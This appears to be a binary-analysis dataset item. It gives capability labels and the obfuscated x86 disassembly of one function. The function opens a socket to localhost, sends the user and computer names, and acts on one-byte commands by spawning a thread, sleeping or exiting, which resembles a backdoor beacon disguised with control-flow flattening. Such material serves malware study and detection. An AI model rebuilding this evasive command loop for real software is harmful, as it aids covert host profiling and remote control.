Function at 0x403eb0
Capabilities:
Create thread
Get hostname
Get session user name
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x7d0
mov eax, dword [0x41f4c0]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x7ac], 0
lea eax, [ebp - 0x19c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x190
call fcn.00405880
mov ecx, dword [0x41f394]
mov edx, dword [0x41f398]
mov eax, ecx
xor eax, 0xffffffff
and eax, edx
imul eax, eax, 0xfffffffe
add eax, 0
mov esi, ecx
xor esi, edx
shl esi, 0
add eax, esi
xor edx, 0xffffffff
imul edx, edx, 0xffffffff
add eax, edx
xor ecx, 0xffffffff
shl ecx, 0
add eax, ecx
add eax, 0xffffffff
imul eax, eax, 0x3bc83dc5
add eax, 0xbda37ab9
imul eax, eax, 0x6204390d
add eax, 0x3b7b939b
mov dword [ebp - 0x7b0], eax
lea eax, [ebp - 0x19c]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
mov edx, dword [0x41f39c]
mov esi, dword [0x41f3a0]
mov ecx, edx
and ecx, esi
shl ecx, 0
add ecx, 0
and edx, esi
xor edx, 0xffffffff
shl edx, 0
add ecx, edx
add ecx, 1
imul ecx, ecx, 0x2cd3fb8f
add ecx, 0xba3fa69c
imul ecx, ecx, 0x9508c36f
add ecx, 0xc19dee5c
cmp eax, ecx
sete al
and al, 1
mov byte [ebp - 0x7a5], al
mov ecx, dword [0x41f3a4]
mov edx, dword [0x41f3a8]
mov eax, ecx
xor eax, edx
shl eax, 0
add eax, 0
mov esi, edx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
mov esi, ecx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
and ecx, edx
xor ecx, 0xffffffff
imul ecx, ecx, 0xfffffffe
add eax, ecx
add eax, 0xa6cb3cc7
imul eax, eax, 0x58609655
add eax, 0x10d6234f
imul eax, eax, 0x43ffb6fd
add eax, 0x4693f0ed
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x7bc], eax
sub eax, 0x99d635b3
je 0x404567
jmp 0x40401c
mov eax, dword [ebp - 0x7bc]
sub eax, 0xa4538156
je 0x4049a1
jmp 0x404032
mov eax, dword [ebp - 0x7bc]
sub eax, 0xa6cb3cc7
je 0x40421b
jmp 0x404048
mov eax, dword [ebp - 0x7bc]
sub eax, 0xbbddd70e
je 0x404713
jmp 0x40405e
mov eax, dword [ebp - 0x7bc]
sub eax, 0xc20a5491
je 0x4042ad
jmp 0x404074
mov eax, dword [ebp - 0x7bc]
sub eax, 0xc816e309
je 0x4048be
jmp 0x40408a
mov eax, dword [ebp - 0x7bc]
sub eax, 0xcd5f0398
je 0x404689
jmp 0x4040a0
mov eax, dword [ebp - 0x7bc]
sub eax, 0xeb78d85f
je 0x4042e8
jmp 0x4040b6
mov eax, dword [ebp - 0x7bc]
sub eax, 0xed564442
je 0x4047a1
jmp 0x4040cc
mov eax, dword [ebp - 0x7bc]
sub eax, 0xf182f975
je 0x40493b
jmp 0x4040e2
mov eax, dword [ebp - 0x7bc]
sub eax, 0x984aa86
je 0x404880
jmp 0x4040f8
mov eax, dword [ebp - 0x7bc]
sub eax, 0xd28963a
je 0x40445c
jmp 0x40410e
mov eax, dword [ebp - 0x7bc]
sub eax, 0xe216b85
je 0x40484a
jmp 0x404124
mov eax, dword [ebp - 0x7bc]
sub eax, 0x165fa509
je 0x40423c
jmp 0x40413a
mov eax, dword [ebp - 0x7bc]
sub eax, 0x1d8526df
je 0x4048af
jmp 0x404150
mov eax, dword [ebp - 0x7bc]
sub eax, 0x2f6de613
je 0x40452a
jmp 0x404166
mov eax, dword [ebp - 0x7bc]
sub eax, 0x382a30e4
je 0x404668
jmp 0x40417c
mov eax, dword [ebp - 0x7bc]
sub eax, 0x45c6eb5a
je 0x4044be
jmp 0x404192
mov eax, dword [ebp - 0x7bc]
sub eax, 0x5519d296
je 0x4044af
jmp 0x4041a8
mov eax, dword [ebp - 0x7bc]
sub eax, 0x5d264d48
je 0x40464c
jmp 0x4041be
mov eax, dword [ebp - 0x7bc]
sub eax, 0x6147270a
je 0x404780
jmp 0x4041d4
mov eax, dword [ebp - 0x7bc]
sub eax, 0x71bfa328
je 0x4043ed
jmp 0x4041ea
mov eax, dword [ebp - 0x7bc]
sub eax, 0x732ce03e
je 0x4048df
jmp 0x404200
mov eax, dword [ebp - 0x7bc]
sub eax, 0x7b731927
je 0x4046f2
jmp 0x404216
jmp 0x4049c3
mov dl, byte [ebp - 0x7a5]
mov eax, 0xa4538156
mov ecx, 0x165fa509
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov ecx, dword [0x41f3ac]
mov edx, dword [0x41f3b0]
mov esi, edx
xor esi, 0xffffffff
mov eax, ecx
and eax, esi
imul eax, eax, 0xffffffff
add eax, 0
mov esi, edx
shl esi, 0
add eax, esi
mov esi, ecx
xor esi, edx
xor esi, 0xffffffff
imul esi, esi, 0xffffffff
add eax, esi
mov esi, edx
xor esi, 0xffffffff
shl esi, 1
add eax, esi
and ecx, edx
xor ecx, 0xffffffff
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0xc20a5491
imul eax, eax, 0xbda40cab
add eax, 0x38a3585a
imul eax, eax, 0x8e278e03
add eax, 0x595e0af2
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
lea eax, str.localhost
mov dword [esp], eax
mov dword [esp + 4], 0x1b9e
call section..text
mov dword [ebp - 0x7b0], eax
mov eax, 0x5519d296
mov ecx, 0xeb78d85f
cmp dword [ebp - 0x7b0], 0xffffffff
cmovne eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov dword [ebp - 0x7a0], 0xff
lea ecx, [ebp - 0x69b]
lea eax, [ebp - 0x7a0]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
lea ecx, [ebp - 0x79a]
lea eax, [ebp - 0x7a0]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub esp, 8
lea eax, [ebp - 0x79a]
lea ecx, [ebp - 0x69b]
lea esi, [ebp - 0x59c]
lea edx, [0x418210]
mov dword [esp], esi
mov dword [esp + 4], 0x400
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.00404a40
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x7b4]
lea ecx, [ebp - 0x59c]
mov edx, dword [ebp - 0x7b0]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401480
mov edx, eax
mov ecx, dword [0x41f3c4]
mov esi, dword [0x41f3c8]
mov edi, esi
xor edi, 0xffffffff
mov eax, ecx
and eax, edi
shl eax, 0
add eax, 0
mov edi, ecx
xor edi, 0xffffffff
and edi, esi
shl edi, 0
add eax, edi
xor ecx, esi
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0xffffffff
imul eax, eax, 0x695e6393
add eax, 0xa48c46b1
imul esi, eax, 0x85d329b
add esi, 0xc2f5a0d5
mov eax, 0xd28963a
mov ecx, 0x71bfa328
cmp edx, esi
cmove eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov eax, dword [ebp - 0x7b0]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7b0], 0xffffffff
mov ecx, dword [0x41f3d4]
mov edx, dword [0x41f3d8]
mov eax, edx
shl eax, 0
add eax, 0
mov esi, ecx
or esi, edx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
xor ecx, 0xffffffff
or ecx, edx
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0xd28963a
imul eax, eax, 0xc8e8793d
add eax, 0x17c3f93e
imul eax, eax, 0xb79b2615
add eax, 0xbb6359ea
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov ecx, dword [0x41f3dc]
mov edx, dword [0x41f3e0]
mov eax, ecx
and eax, edx
shl eax, 0
add eax, 0
mov esi, ecx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
xor ecx, 0xffffffff
or ecx, edx
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0x5519d296
imul eax, eax, 0xb4e9d7d7
add eax, 0xa1ca0058
imul eax, eax, 0xfa080be7
add eax, 0x61f5e898
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov dword [ebp - 0x7b8], 0x45c6eb5a
jmp 0x4049c3
mov edx, dword [ebp - 0x7b0]
mov ecx, dword [0x41f3ec]
mov esi, dword [0x41f3f0]
mov edi, esi
xor edi, 0xffffffff
mov eax, ecx
and eax, edi
shl eax, 0
add eax, 0
mov edi, ecx
xor edi, 0xffffffff
shl edi, 0
add eax, edi
and ecx, esi
xor ecx, 0xffffffff
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0xffffffff
imul eax, eax, 0x9e745ea9
add eax, 0xcb41061f
imul esi, eax, 0xd8bd2599
add esi, 0x735ddc79
mov eax, 0xf182f975
mov ecx, 0x2f6de613
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov ecx, dword [ebp - 0x7b0]
lea eax, [ebp - 0x79b]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.004014c0
mov edx, eax
mov eax, 0x5d264d48
mov ecx, 0x99d635b3
cmp edx, 0
cmovle eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov eax, dword [ebp - 0x7b0]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov ecx, dword [0x41f3fc]
mov edx, dword [0x41f400]
imul eax, ecx, 0xfffffffe
add eax, 0
mov esi, ecx
xor esi, 0xffffffff
and esi, edx
imul esi, esi, 0xffffffff
add eax, esi
mov esi, ecx
or esi, edx
shl esi, 1
add eax, esi
mov esi, ecx
xor esi, edx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
xor ecx, 0xffffffff
or ecx, edx
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0xffffffff
imul eax, eax, 0x95af5b21
add eax, 0x5be2dc0
imul eax, eax, 0xffebe8e1
add eax, 0x5b23ca40
mov dword [ebp - 0x7b0], eax
mov ecx, dword [0x41f404]
mov edx, dword [0x41f408]
mov eax, edx
shl eax, 0
add eax, 0
mov esi, ecx
xor esi, edx
imul esi, esi, 0xfffffffe
add eax, esi
mov edi, edx
xor edi, 0xffffffff
mov esi, ecx
or esi, edi
imul esi, esi, 0xffffffff
add eax, esi
mov esi, ecx
xor esi, 0xffffffff
imul esi, esi, 0xfffffffe
add eax, esi
and ecx, edx
xor ecx, 0xffffffff
imul ecx, ecx, 3
add eax, ecx
add eax, 0x5d264d48
imul eax, eax, 0xcd15f2b7
add eax, 0x13992515
imul eax, eax, 0x924b8b07
add eax, 0x7886956d
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
movzx eax, byte [ebp - 0x79b]
mov dword [ebp - 0x7a4], eax
mov dword [ebp - 0x7b8], 0x382a30e4
jmp 0x4049c3
mov edx, dword [ebp - 0x7a4]
mov eax, 0xcd5f0398
mov ecx, 0x6147270a
cmp edx, 2
cmovl eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [0x41f41c]
mov esi, dword [0x41f420]
mov eax, ecx
xor eax, esi
shl eax, 0
add eax, 0
mov edi, ecx
or edi, esi
xor edi, 0xffffffff
shl edi, 0
add eax, edi
and ecx, esi
xor ecx, 0xffffffff
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 4
imul eax, eax, 0x59ae9e6d
add eax, 0x25d4d8a5
imul esi, eax, 0x93e1b65
add esi, 0x5b371fe7
mov eax, 0x7b731927
mov ecx, 0xbbddd70e
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov edx, dword [ebp - 0x7a4]
mov eax, 0x1d8526df
mov ecx, 0x984aa86
cmp edx, 4
cmove eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [0x41f42c]
mov edi, dword [0x41f430]
mov eax, ecx
xor eax, 0xffffffff
and eax, edi
imul eax, eax, 0xffffffff
add eax, 0
mov esi, ecx
or esi, edi
xor esi, 0xffffffff
imul esi, esi, 0xffffffff
add eax, esi
xor ecx, 0xffffffff
shl ecx, 0
add eax, ecx
add eax, 2
imul eax, eax, 0x3d87a14b
add eax, 0xe724f259
imul esi, eax, 0xfe61e063
add esi, 0x26ef6795
mov eax, 0x1d8526df
mov ecx, 0xe216b85
cmp edx, esi
cmove eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov edx, dword [ebp - 0x7a4]
mov eax, 0x1d8526df
mov ecx, 0xed564442
cmp edx, 1
cmove eax, ecx
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
xor eax, eax
lea eax, [0x402280]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, dword [0x41f43c]
mov edx, dword [0x41f440]
mov eax, ecx
xor eax, 0xffffffff
and eax, edx
shl eax, 0
add eax, 0
mov esi, ecx
xor esi, edx
imul esi, esi, 0xffffffff
add eax, esi
mov esi, ecx
or esi, edx
shl esi, 0
add eax, esi
mov esi, ecx
or esi, edx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
xor ecx, 0xffffffff
or ecx, edx
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0x732ce03e
imul eax, eax, 0xf0d0b51b
add eax, 0xc99b8eb7
imul eax, eax, 0xc8639d13
add eax, 0x7a292d6b
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov byte [ebp - 0x79b], 3
mov ecx, dword [ebp - 0x7b0]
lea eax, [ebp - 0x79b]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.00401480
mov dword [ebp - 0x7b8], 0x732ce03e
jmp 0x4049c3
lea eax, str._nClose_the_connection_:V__n
mov dword [esp], eax
call fcn.004049d0
mov eax, dword [ebp - 0x7b0]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x7b8], 0xc816e309
jmp 0x4049c3
mov eax, dword [ebp - 0x7b0]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7b8], 0x732ce03e
jmp 0x4049c3
mov ecx, dword [0x41f460]
mov edx, dword [0x41f464]
mov esi, edx
xor esi, 0xffffffff
mov eax, ecx
and eax, esi
shl eax, 0
add eax, 0
imul esi, ecx, 0xffffffff
add eax, esi
mov esi, ecx
xor esi, edx
imul esi, esi, 0xffffffff
add eax, esi
or ecx, edx
shl ecx, 0
add eax, ecx
add eax, 0x45c6eb5a
imul eax, eax, 0x60bd0005
add eax, 0x1b3e1842
imul eax, eax, 0x6287cccd
add eax, 0xa523fb26
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [0x41f468]
mov esi, dword [0x41f46c]
mov eax, ecx
xor eax, 0xffffffff
and eax, esi
shl eax, 1
add eax, 0
mov edx, ecx
or edx, esi
xor edx, 0xffffffff
shl edx, 1
add eax, edx
xor ecx, 0xffffffff
imul ecx, ecx, 0xfffffffe
add eax, ecx
add eax, 0xc20a5491
imul eax, eax, 0xa6e6f2f5
add eax, 0x8c2e6aac
imul eax, eax, 0x531ea95d
add eax, 0x2a8fb384
mov dword [ebp - 0x7b8], eax
jmp 0x4049c3
xor eax, eax
mov dword [ebp - 0x7c0], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00404d06
mov eax, dword [ebp - 0x7c0]
add esp, 0x7d0
pop esi
pop edi
pop ebp
ret
jmp 0x404000